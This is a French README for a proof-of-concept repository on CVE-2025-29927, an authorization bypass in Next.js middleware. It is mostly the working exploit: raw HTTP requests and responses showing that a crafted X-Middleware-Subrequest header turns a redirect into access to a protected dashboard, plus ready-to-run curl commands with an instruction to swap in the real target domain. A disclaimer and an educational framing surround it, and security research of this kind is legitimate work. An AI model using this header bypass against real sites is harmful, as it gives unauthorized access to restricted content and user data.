
Contournement d'autorisation dans le middleware Next.js
Ce dépôt contient une preuve de concept (PoC) pour CVE-2025-29927, une vulnérabilité hypothétique illustrant un défaut dans la gestion du middleware au sein d'une application web. La PoC montre comment une requête HTTP spécialement conçue peut contourner la logique de redirection pour accéder à du contenu restreint, comme un tableau de bord. Ce projet est destiné à des fins éducatives et de recherche en sécurité uniquement.
Avertissement : Cette PoC est destinée à être utilisée dans des environnements contrôlés avec autorisation explicite. Tester sans autorisation sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas de consentement est illégal et contraire à l'éthique.
Pour suivre cette PoC, vous aurez besoin de :
abc.com) exécutant une configuration vulnérable (logiciel/version spécifique à déterminer selon les détails du CVE).curl (curl.se), Burp Suite (portswigger.net/burp) ou un script personnalisé.CVE-2025-29927 (provisoire ; à remplacer par les détails officiels du CVE lorsqu'ils seront disponibles) semble exploiter une mauvaise configuration ou un défaut logique du middleware. La PoC montre que l'ajout d'un en-tête personnalisé (X-Middleware-Subrequest) modifie le comportement du serveur, contournant un mécanisme de redirection pour accéder à du contenu restreint. Cela pourrait être lié à la manière dont le middleware (par ex., Nginx avec Next.js) traite les sous-requêtes ou valide les en-têtes.
Pour en savoir plus sur les vulnérabilités du middleware, consultez Sécurité middleware OWASP.
La PoC comprend deux étapes : une requête initiale infructueuse et une requête modifiée réussie. Chaque étape inclut la requête HTTP, la réponse et une explication détaillée.
Cette étape montre le comportement par défaut du serveur lors de l'accès au point de terminaison /dashboard sans en-têtes supplémentaires.
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

GET /dashboard : Tente d'accéder au point de terminaison du tableau de bord.User-Agent et Accept imitent une requête de navigateur classique.307 Temporary Redirect : Indique que le serveur redirige le client, probablement en raison d'une logique d'authentification, d'autorisation ou de routage (par ex., redirection vers une page de connexion).Server: nginx/1.14.1 : Identifie le logiciel serveur web./dashboard. L'absence d'en-tête Location dans cette réponse (peut-être omise par souci de concision) implique que la destination de la redirection se trouve ailleurs.Cette étape introduit un en-tête personnalisé pour contourner la redirection et récupérer avec succès le contenu du tableau de bord.
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware : En-tête personnalisé ajouté à la requête originale. La chaîne répétée middleware pourrait exploiter un défaut d'analyse ou de validation dans la pile middleware.200 OK : Confirme l'accès réussi au contenu du tableau de bord.Content-Type: text/html; charset=utf-8 : Indique une réponse HTML, probablement la page du tableau de bord.X-Powered-By: Next.js : Suggère que l'application utilise Next.js, un framework React qui repose souvent sur le middleware pour le routage.Cache-Control : Empêche la mise en cache, typique pour du contenu dynamique et spécifique à l'utilisateur.Content-Length: 30174 : Taille du corps de la réponse en octets.X-Middleware-Subrequest trompe probablement le middleware en lui faisant traiter la requête comme une sous-requête légitime, contournant ainsi la logique de redirection. Cela pourrait indiquer une vulnérabilité dans la validation ou le traitement des sous-requêtes.Suivez ces étapes pour reproduire la PoC avec curl :
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
Sortie attendue : Une réponse 307 Temporary Redirect.
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
Sortie attendue : Une réponse 200 OK avec le contenu du tableau de bord.
Remarque : Remplacez abc.com par le domaine cible réel si vous testez dans un environnement autorisé.
curl pour les requêtes HTTP.Ce projet est sous licence MIT. Voir le fichier LICENSE pour plus de détails.